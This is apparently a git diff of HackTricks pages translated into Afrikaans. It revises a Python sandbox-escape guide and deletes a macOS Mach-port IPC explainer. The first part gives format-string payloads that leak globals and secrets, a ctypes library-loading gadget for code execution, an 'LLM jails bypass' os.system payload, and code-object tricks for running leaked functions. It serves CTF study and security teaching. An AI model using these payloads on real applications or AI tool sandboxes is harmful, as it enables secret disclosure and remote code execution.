> Dit is net **fantasties**. As jy **op soek is na 'n object soos globals, builtins, open of iets anders** gebruik net hierdie script om **rekursief plekke te vind waar jy daardie object kan vind.**
```python
import os, sys # Import these to find more gadgets
@ -662,8 +663,7 @@ print(SEARCH_FOR)
if __name__ == "__main__":
main()
```
Jy kan die uitset van hierdie script op hierdie bladsy bekyk:
Jy kan die uitset van hierdie skrip op hierdie bladsy sien:
{{#ref}}
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
@ -671,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
## Python Format String
Indien jy **send** 'n **string** aan python wat gaan **formatted** word, kan jy `{}` gebruik om **python internal information.** te bekom. Jy kan byvoorbeeld die vorige voorbeelde gebruik om toegang te kry tot globals of builtins.
As jy 'n **string** aan python **stuur** wat gaan **geformateer** word, kan jy `{}` gebruik om toegang tot **python interne inligting** te kry. Jy kan die vorige voorbeelde gebruik om byvoorbeeld toegang tot globals of builtins te kry.
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -691,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Let daarop dat jy **attribuutte kan benader** op 'n normale wyse met 'n **punt** soos `people_obj.__init__` en **dict-element** met **vierkantige hakies** sonder aanhalingstekens `__globals__[CONFIG]`
Let op hoe jy **access attributes** op 'n normale manier met 'n **dot** kan bereik soos `people_obj.__init__` en **dict element** met **hakies** sonder aanhalingstekens `__globals__[CONFIG]`
Merk ook op dat jy `.__dict__` kan gebruik om elemente van 'n objek op te som `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Let ook op dat jy `.__dict__` kan gebruik om elemente van 'n objek op te som `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Nog 'n paar interessante eienskappe van formaatstringe is die moontlikheid om die **funksies** **`str`**, **`repr`** en **`ascii`** op die aangeduide objek uit te **voer** deur onderskeidelik **`!s`**, **`!r`**, **`!a`** by te voeg:
Nog ander interessante kenmerke van format strings is die moontlikheid om die **funksies** **`str`**, **`repr`** en **`ascii`** op die aangeduide objek uit te voer deur onderskeidelik **`!s`**, **`!r`**, **`!a`** by te voeg:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
Boonop is dit moontlik om **code new formatters** in klasse:
Boonop is dit moontlik om **code nuwe formatters** in classes:
```python
class HAL9000(object):
def __format__(self, format):
@ -711,17 +711,17 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**Meer voorbeelde** van **format** **string** kan gevind word by [**https://pyformat.info/**](https://pyformat.info)
**Meer voorbeelde** oor **format** **string** kan gevind word by [**https://pyformat.info/**](https://pyformat.info)
> [!CAUTION]
> Kyk ook na die volgende bladsy vir gadgets wat **lees sensitiewe inligting uit Python se interne objekte**:
> Kyk ook na die volgende bladsy vir gadgets wat l**ees sensitiewe inligting uit Python interne objekte**:
{{#ref}}
../python-internal-read-gadgets.md
{{#endref}}
### Payloads vir Onthulling van Gevoelige Inligting
### Payloads vir die openbaarmaking van sensitiewe inligting
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -739,20 +739,20 @@ str(x) # Out: clueless
```
### LLM Jails bypass
Van [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
Van [hier](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### From format to RCE loading libraries
### Van format na RCE deur biblioteke te laai
Volgens die [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) is dit moontlik om arbitrêre libraries vanaf skyf te laai deur die format string kwesbaarheid in python te misbruik.
Volgens die [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) is dit moontlik om arbitrêre libraries van skyf te laai deur die format string kwetsbaarheid in python te misbruik.
Ter herinnering: elke keer as 'n aksie in python uitgevoer word, word 'n funksie aangeroep. Byvoorbeeld `2*3` sal **`(2).mul(3)`** uitvoer of **`{'a':'b'}['a']`** sal **`{'a':'b'}.__getitem__('a')`** wees.
Ter herinnering, elke keer as 'n aksie in python uitgevoer word, word 'n funksie aangeroep. Byvoorbeeld `2*3` sal **`(2).mul(3)`** uitvoer of **`{'a':'b'}['a']`** sal **`{'a':'b'}.__getitem__('a')`** wees.
Daar is meer van hierdie in die afdeling [**Python execution without calls**](#python-execution-without-calls).
Daar is meer hiervan in die afdeling [**Python uitvoering sonder aanroepe**](#python-execution-without-calls).
'n python format string vuln laat nie toe om funksies uit te voer (dit laat nie die gebruik van hakies toe nie), dus is dit nie moontlik om RCE te kry soos `'{0.system("/bin/sh")}'.format(os)`.\
Dit is egter moontlik om `[]` te gebruik. Dus, as 'n algemene python library 'n **`__getitem__`** of **`__getattr__`** metode het wat arbitrêre kode uitvoer, is dit moontlik om dit te misbruik om RCE te kry.
'n Python format string vuln laat nie toe om 'n funksie uit te voer (dit laat nie toe om hakies te gebruik) nie, dus is dit nie moontlik om RCE te kry soos `'{0.system("/bin/sh")}'.format(os)`.\
Dit is egter moontlik om `[]` te gebruik. Daarom, as 'n algemene python library 'n **`__getitem__`** of **`__getattr__`** metode het wat arbitrêre kode uitvoer, is dit moontlik om dit te misbruik om RCE te kry.
Op soek na 'n gadget soos dit in python, stel die writeup hierdie [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) voor. Waar hy hierdie [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) gevind het:
Op soek na 'n gadget soos dit in python, stel die writeup hierdie [**Github soektog**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) voor. Waar hy hierdie [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) gevind het:
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -774,20 +774,20 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
Hierdie gadget laat toe om **'n biblioteek vanaf die skyf te laai**. Daarom is dit nodig om op een of ander wyse die **biblioteek wat gelaai moet word te skryf of op te laai**, korrek gecompileer vir die geteikende bediener.
Hierdie gadget laat toe om **'n biblioteek vanaf die skyf te laai**. Daarom is dit nodig om op een of ander wyse **die biblioteek wat gelaai moet word te skryf of op te laai**, korrek saamgestel op die geteikende bediener.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
Die uitdaging misbruik eintlik nog 'n kwesbaarheid in die bediener wat toelaat om arbitrêre lêers op die bediener se skyf te skep.
Die challenge benut eintlik 'n ander kwesbaarheid in die server wat toelaat om arbitrêre lêers op die server se skyf te skep.
## Ontleding van Python-objekte
## Ontleding van Python Objects
> [!TIP]
> As jy in diepte oor **python bytecode** wil **leer**, lees hierdie **fantastiese** artikel oor die onderwerp: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
> As jy **in diepte** oor **python bytecode** wil **leer**, lees hierdie **geweldige** pos oor die onderwerp: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
In sommige CTFs kan jy die naam van 'n **aangepaste funksie waar die flag** lê kry en jy moet die **binnewerkte** van die **funksie** sien om dit te onttrek.
In sommige CTFs kan jy die naam van 'n **custom function where the flag** gegee kry, en jy moet die **internals** van die **function** sien om dit uit te trek.
Dit is die funksie om te inspekteer:
Dit is die function om te inspekteer:
```python
def get_flag(some_input):
var1=1
@ -807,7 +807,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` and `func_globals`(Same) Verkry die globale omgewing. In die voorbeeld kan jy sommige geïmporteerde modules, 'n paar globale veranderlikes en hul inhoud sien wat gedeclareer is:
`__globals__` and `func_globals`(Dieselfde) Kry die globale omgewing. In die voorbeeld kan jy 'n paar geïmporteerde modules, 'n paar globale veranderlikes en hul verklaarde inhoud sien:
```python
get_flag.func_globals
get_flag.__globals__
@ -820,7 +820,7 @@ CustomClassObject.__class__.__init__.__globals__
### **Toegang tot die funksiekode**
**`__code__`** and `func_code`: Jy kan hierdie **attribuut** van die funksie **toegang kry** om die **code object** van die funksie te verkry.
**`__code__`** en `func_code`: Jy kan hierdie **attribuut** van die funksie **toegang kry** om die **code object** van die funksie te **verkry**.
```python
# In our current example
get_flag.__code__
@ -834,7 +834,7 @@ compile("print(5)", "", "single")
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
```
### Verkry Kode-inligting
### Verkry Code-inligting
```python
# Another example
s = '''
@ -880,7 +880,7 @@ get_flag.__code__.co_freevars
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
### **Ontleed 'n funksie**
### **Disassembly van 'n funksie**
```python
import dis
dis.dis(get_flag)
@ -908,7 +908,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Let op dat **as jy nie `dis` in die python sandbox kan importeer nie** kan jy die **bytecode** van die funksie (`get_flag.func_code.co_code`) kry en plaaslik **disassemble**. Jy sal nie die inhoud van die veranderlikes wat gelaai word (`LOAD_CONST`) sien nie, maar jy kan hulle raai uit (`get_flag.func_code.co_consts`) omdat `LOAD_CONST` ook die offset van die veranderlike wat gelaai word aandui.
Let wel dat **as jy nie `dis` in die python sandbox kan importeer nie** kan jy die **bytecode** van die funksie (`get_flag.func_code.co_code`) kry en dit plaaslik **disassemble**. Jy sal nie die inhoud van die veranderlikes wat gelaai word (`LOAD_CONST`) sien nie, maar jy kan dit raai uit (`get_flag.func_code.co_consts`) omdat `LOAD_CONST` ook die offset van die veranderlike wat gelaai word aandui.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -932,8 +932,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
```
## Kompilering van Python
Nou, laat ons voorstel dat jy op een of ander manier die **inligting oor 'n funksie kan dump wat jy nie kan execute nie** maar jy **moet** dit **execute**.\
Soos in die volgende voorbeeld kan jy **access the code object** van daardie funksie, maar net deur die disassemble te lees **weet jy nie hoe om die flag te calculate nie** (_stel jou 'n meer komplekse `calc_flag` funksie voor_)
Kom ons verbeel ons nou dat jy op een of ander manier die **inligting oor 'n funksie kan dump wat jy nie kan uitvoer nie** maar jy **moet** dit **uitvoer**.\\
Soos in die volgende voorbeeld kan jy **access the code object** van daardie funksie, maar deur net die disassemble te lees weet jy **nie hoe om die flag te bereken nie** (_stel jou voor 'n meer komplekse `calc_flag` funksie_)
```python
def get_flag(some_input):
var1=1
@ -946,9 +946,9 @@ return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### Skep van die code object
### Skep die code object
Eerstens moet ons weet **hoe om 'n code object te skep en uit te voer** sodat ons een kan skep om ons leaked function uit te voer:
Eerstens moet ons weet **hoe om ’n code object te skep en uit te voer** sodat ons een kan skep om ons funksie leaked uit te voer:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -968,7 +968,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!TIP]
> Afhangend van die python-weergawe kan die **parameters** van `code_type` 'n **ander volgorde** hê. Die beste manier om die volgorde van die params in die python-weergawe wat jy gebruik te ken, is om die volgende uit te voer:
> Afhangende van die python-weergawe kan die **parameters** van `code_type` 'n **ander volgorde** hê. Die beste manier om die volgorde van die params in die python-weergawe wat jy gebruik te ken, is om te hardloop:
>
> ```
> import types
@ -976,10 +976,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
> ```
### Opnuut skep 'n leaked funksie
### Recreating a leaked function
> [!WARNING]
> In die volgende voorbeeld gaan ons al die data neem wat nodig is om die funksie direk uit die funksie se code object op te nuut te skep. In 'n **werklike voorbeeld**, is al die **waardes** wat nodig is om die funksie **`code_type`** uit te voer presies wat **jy sal moet leak**.
> In die volgende voorbeeld gaan ons al die data neem wat nodig is om die funksie direk uit die funksie se code object te hermaak. In 'n **reële voorbeeld** is al die **waardes** om die funksie **`code_type`** uit te voer presies wat **jy sal need om te leak**.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -990,12 +990,12 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
```
### Bypass Defenses
### Omseil Verdedigings
In vorige voorbeelde aan die begin van hierdie pos kan jy sien **hoe om enige python code uit te voer met behulp van die `compile` funksie**. Dit is interessant omdat jy **hele scripts** met lusse en alles in 'n **one liner** kan uitvoer (en ons kon dieselfde doen met **`exec`**).\
En soms kan dit nuttig wees om 'n **compiled object** op 'n plaaslike masjien te skep en dit in die **CTF machine** uit te voer (byvoorbeeld omdat ons nie die `compiled` funksie in die CTF het nie).
In vorige voorbeelde aan die begin van hierdie pos kan jy sien **hoe om enige python code uit te voer met die `compile` function**. Dit is interessant omdat jy **hele scripts kan uitvoer** met lusse en alles in 'n **one liner** (en ons kon dieselfde doen met **`exec`**).\
Hoe ook al, soms kan dit nuttig wees om 'n **compiled object** op 'n plaaslike masjien te **skep** en dit in die **CTF machine** uit te voer (byvoorbeeld omdat ons nie die `compiled` function in die CTF het nie).
Byvoorbeeld, laat ons manueel 'n funksie compile en uitvoer wat _./poc.py_ lees:
Byvoorbeeld, kom ons compile and execute handmatig 'n funksie wat _./poc.py_ lees:
```python
#Locally
def read():
@ -1022,7 +1022,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
As jy nie toegang tot `eval` of `exec` het nie, kan jy 'n **regte funksie** skep, maar om dit direk aan te roep gaan gewoonlik misluk met: _konstruktor nie toeganklik in beperkte modus nie_. Dus het jy 'n **funksie buite die beperkte omgewing nodig om hierdie funksie aan te roep.**
As jy nie toegang tot `eval` of `exec` het nie, kan jy 'n **egte funksie** skep, maar om dit direk aan te roep gaan gewoonlik misluk met: _constructor not accessible in restricted mode_. Dus het jy 'n **funksie buite die beperkte omgewing nodig om hierdie funksie aan te roep.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1030,11 +1030,11 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## Decompiling Compiled Python
## Decompiling Gecompileerde Python
Met gereedskap soos [**https://www.decompiler.com/**](https://www.decompiler.com) kan mens gegewe gecompileerde python-kode **decompile**.
Met hulpmiddels soos [**https://www.decompiler.com/**](https://www.decompiler.com) kan 'n mens gegewe gecompileerde python-kode **decompile**.
**Kyk na hierdie handleiding**:
**Kyk na hierdie tutorial**:
{{#ref}}
@ -1045,7 +1045,7 @@ Met gereedskap soos [**https://www.decompiler.com/**](https://www.decompiler.com
### Assert
Wanneer Python met optimalisering uitgevoer word met die parameter `-O`, sal dit assert statements en enige kode wat afhanklik is van die waarde van **debug** verwyder.\
Python wat met optimalisasies uitgevoer word met die parameter `-O` sal assert statements en enige kode wat afhanklik is van die waarde van **debug** verwyder.\
Daarom sal kontroles soos
```python
def check_permission(super_user):

833
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md
View File

@ -1,833 +0,0 @@
# macOS IPC - Inter Process Communication
{{#include ../../../../banners/hacktricks-training.md}}
## Mach boodskappe via Poorte
### Basiese Inligting
Mach gebruik **take** as die **kleinste eenheid** vir die deel van hulpbronne, en elke taak kan **meerdere drade** bevat. Hierdie **take en drade is 1:1 gekarteer na POSIX prosesse en drade**.
Kommunikasie tussen take vind plaas via Mach Inter-Process Communication (IPC), wat eenrigting kommunikasiekanale benut. **Boodskappe word tussen poorte oorgedra**, wat optree soos **boodskap rye** wat deur die kernel bestuur word.
Elke proses het 'n **IPC tabel**, waar dit moontlik is om die **mach poorte van die proses** te vind. Die naam van 'n mach poort is eintlik 'n nommer (n aanwyser na die kernel objek).
'n Proses kan ook 'n poortnaam met sekere regte **na 'n ander taak** stuur en die kernel sal hierdie inskrywing in die **IPC tabel van die ander taak** laat verskyn.
### Poort Regte
Poort regte, wat definieer watter operasies 'n taak kan uitvoer, is sleutel tot hierdie kommunikasie. Die moontlike **poort regte** is ([definisies hier](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
- **Ontvang reg**, wat die ontvangs van boodskappe wat na die poort gestuur word, toelaat. Mach poorte is MPSC (meervoudige produsent, enkele verbruiker) rye, wat beteken dat daar slegs **een ontvang reg vir elke poort** in die hele stelsel mag wees (in teenstelling met pype, waar verskeie prosesse almal lêer beskrywings na die leeskant van een pyp kan hou).
- 'n **taak met die Ontvang** reg kan boodskappe ontvang en **Stuur regte** skep, wat dit toelaat om boodskappe te stuur. Oorspronklik het slegs die **eie taak die Ontvang reg oor sy poort**.
- **Stuur reg**, wat die stuur van boodskappe na die poort toelaat.
- Die Stuur reg kan **gekloneer** word sodat 'n taak wat 'n Stuur reg besit, die reg kan kloneer en **aan 'n derde taak kan toeken**.
- **Stuur-eens reg**, wat die stuur van een boodskap na die poort toelaat en dan verdwyn.
- **Poort stel reg**, wat 'n _poort stel_ aandui eerder as 'n enkele poort. Om 'n boodskap van 'n poort stel te verwyder, verwyder 'n boodskap van een van die poorte wat dit bevat. Poort stelle kan gebruik word om op verskeie poorte gelyktydig te luister, baie soos `select`/`poll`/`epoll`/`kqueue` in Unix.
- **Dood naam**, wat nie 'n werklike poort reg is nie, maar bloot 'n plekhouer. Wanneer 'n poort vernietig word, draai al bestaande poort regte na die poort in dood name.
**Take kan STUUR regte aan ander oordra**, wat hulle in staat stel om boodskappe terug te stuur. **STUUR regte kan ook geklonneer word, sodat 'n taak die reg kan dupliceer en aan 'n derde taak kan gee**. Dit, saam met 'n intermediêre proses bekend as die **bootstrap bediener**, stel effektiewe kommunikasie tussen take in staat.
### Lêer Poorte
Lêer poorte laat toe om lêer beskrywings in Mac poorte te enkapsuleer (met behulp van Mach poort regte). Dit is moontlik om 'n `fileport` van 'n gegewe FD te skep met `fileport_makeport` en 'n FD van 'n fileport te skep met `fileport_makefd`.
### Vestiging van 'n kommunikasie
#### Stappe:
Soos genoem, om die kommunikasiekanaal te vestig, is die **bootstrap bediener** (**launchd** in mac) betrokke.
1. Taak **A** begin 'n **nuwe poort**, en verkry 'n **ONTVAAG reg** in die proses.
2. Taak **A**, as die houer van die ONTVANG reg, **genereer 'n STUUR reg vir die poort**.
3. Taak **A** vestig 'n **verbinding** met die **bootstrap bediener**, en bied die **poort se diensnaam** en die **STUUR reg** deur 'n prosedure bekend as die bootstrap registrasie.
4. Taak **B** interaksie met die **bootstrap bediener** om 'n bootstrap **soektog vir die diens** naam uit te voer. As dit suksesvol is, **dupliceer die bediener die STUUR reg** wat van Taak A ontvang is en **stuur dit na Taak B**.
5. Na die verkryging van 'n STUUR reg, is Taak **B** in staat om 'n **boodskap** te **formuleer** en dit **na Taak A** te stuur.
6. Vir 'n bi-rigting kommunikasie genereer taak **B** gewoonlik 'n nuwe poort met 'n **ONTVAAG** reg en 'n **STUUR** reg, en gee die **STUUR reg aan Taak A** sodat dit boodskappe na TAak B kan stuur (bi-rigting kommunikasie).
Die bootstrap bediener **kan nie die** diensnaam wat deur 'n taak geclaim word, **verifieer** nie. Dit beteken 'n **taak** kan potensieel **enige stelseltaak naboots**, soos valslik **'n magtiging diensnaam te claim** en dan elke versoek goedkeur.
Dan, Apple stoor die **name van stelsel-geleverde dienste** in veilige konfigurasie lêers, geleë in **SIP-beskermde** directories: `/System/Library/LaunchDaemons` en `/System/Library/LaunchAgents`. Saam met elke diensnaam, word die **geassosieerde binêre ook gestoor**. Die bootstrap bediener sal 'n **ONTVAAG reg vir elkeen van hierdie diensname** skep en hou.
Vir hierdie vooraf gedefinieerde dienste, verskil die **soek proses effens**. Wanneer 'n diensnaam gesoek word, begin launchd die diens dinamies. Die nuwe werksvloei is soos volg:
- Taak **B** begin 'n bootstrap **soektog** vir 'n diensnaam.
- **launchd** kyk of die taak loop en as dit nie is nie, **begin** dit.
- Taak **A** (die diens) voer 'n **bootstrap incheck** uit. Hier, die **bootstrap** bediener skep 'n STUUR reg, hou dit, en **oordra die ONTVANG reg aan Taak A**.
- launchd dupliceer die **STUUR reg en stuur dit na Taak B**.
- Taak **B** genereer 'n nuwe poort met 'n **ONTVAAG** reg en 'n **STUUR** reg, en gee die **STUUR reg aan Taak A** (die svc) sodat dit boodskappe na TAak B kan stuur (bi-rigting kommunikasie).
Hierdie proses geld egter slegs vir vooraf gedefinieerde stelseltaake. Nie-stelseltaake werk steeds soos oorspronklik beskryf, wat potensieel nabootsing kan toelaat.
### 'n Mach Boodskap
[Vind meer inligting hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
Die `mach_msg` funksie, wat essensieel 'n stelselaanroep is, word gebruik om Mach boodskappe te stuur en te ontvang. Die funksie vereis dat die boodskap wat gestuur moet word, as die aanvanklike argument. Hierdie boodskap moet begin met 'n `mach_msg_header_t` struktuur, gevolg deur die werklike boodskapinhoud. Die struktuur is soos volg gedefinieer:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
Proses wat 'n _**ontvangsreg**_ besit, kan boodskappe op 'n Mach-poort ontvang. Omgekeerd, die **stuurders** word 'n _**stuur**_ of 'n _**stuur-eens reg**_ toegeken. Die stuur-eens reg is uitsluitlik vir die stuur van 'n enkele boodskap, waarna dit ongeldig word.
Om 'n maklike **tweeduidige kommunikasie** te bereik, kan 'n proses 'n **mach-poort** in die mach **boodskapkop** spesifiseer wat die _antwoordpoort_ (**`msgh_local_port`**) genoem word, waar die **ontvanger** van die boodskap 'n **antwoord** op hierdie boodskap kan **stuur**. Die bitvlagte in **`msgh_bits`** kan gebruik word om aan te dui dat 'n **stuur-eens** **reg** afgelei en oorgedra moet word vir hierdie poort (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
> [!TIP]
> Let daarop dat hierdie soort tweeduidige kommunikasie gebruik word in XPC-boodskappe wat 'n herhaling verwag (`xpc_connection_send_message_with_reply` en `xpc_connection_send_message_with_reply_sync`). Maar **gewoonlik word verskillende poorte geskep** soos voorheen verduidelik om die tweeduidige kommunikasie te skep.
Die ander velde van die boodskapkop is:
- `msgh_size`: die grootte van die hele pakket.
- `msgh_remote_port`: die poort waarop hierdie boodskap gestuur word.
- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html).
- `msgh_id`: die ID van hierdie boodskap, wat deur die ontvanger geïnterpreteer word.
> [!CAUTION]
> Let daarop dat **mach-boodskappe oor 'n \_mach-poort\_** gestuur word, wat 'n **enkele ontvanger**, **meervoudige stuurder** kommunikasiekanaal is wat in die mach-kern ingebou is. **Meervoudige prosesse** kan **boodskappe** na 'n mach-poort stuur, maar op enige tydstip kan slegs **'n enkele proses lees** daaruit.
### Enumereer poorte
```bash
lsmp -p <pid>
```
U kan hierdie hulpmiddel op iOS installeer deur dit af te laai van [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
### Kode voorbeeld
Let op hoe die **sender** 'n poort **toewys**, 'n **send reg** vir die naam `org.darlinghq.example` skep en dit na die **bootstrap bediener** stuur terwyl die sender om die **send reg** van daardie naam gevra het en dit gebruik het om 'n **boodskap te stuur**.
{{#tabs}}
{{#tab name="receiver.c"}}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
```
{{#endtab}}
{{#tab name="sender.c"}}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);
// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;
// Send the message.
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG, // Options. We're sending a message.
sizeof(message), // Size of the message being sent.
0, // Size of the buffer for receiving.
MACH_PORT_NULL, // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
```
{{#endtab}}
{{#endtabs}}
### Bevoorregte Poorte
- **Gashere poort**: As 'n proses **Send** voorreg oor hierdie poort het, kan hy **inligting** oor die **stelsel** verkry (bv. `host_processor_info`).
- **Gashere priv poort**: 'n Proses met **Send** reg oor hierdie poort kan **bevoorregte aksies** uitvoer soos om 'n kernuitbreiding te laai. Die **proses moet root wees** om hierdie toestemming te verkry.
- Boonop, om die **`kext_request`** API aan te roep, is dit nodig om ander regte **`com.apple.private.kext*`** te hê wat slegs aan Apple binêre gegee word.
- **Taaknaam poort:** 'n Onbevoorregte weergawe van die _taakpoort_. Dit verwys na die taak, maar laat nie toe om dit te beheer nie. Die enigste ding wat blykbaar deur dit beskikbaar is, is `task_info()`.
- **Taakpoort** (ook bekend as kernpoort)**:** Met Send toestemming oor hierdie poort is dit moontlik om die taak te beheer (lees/skryf geheue, skep drade...).
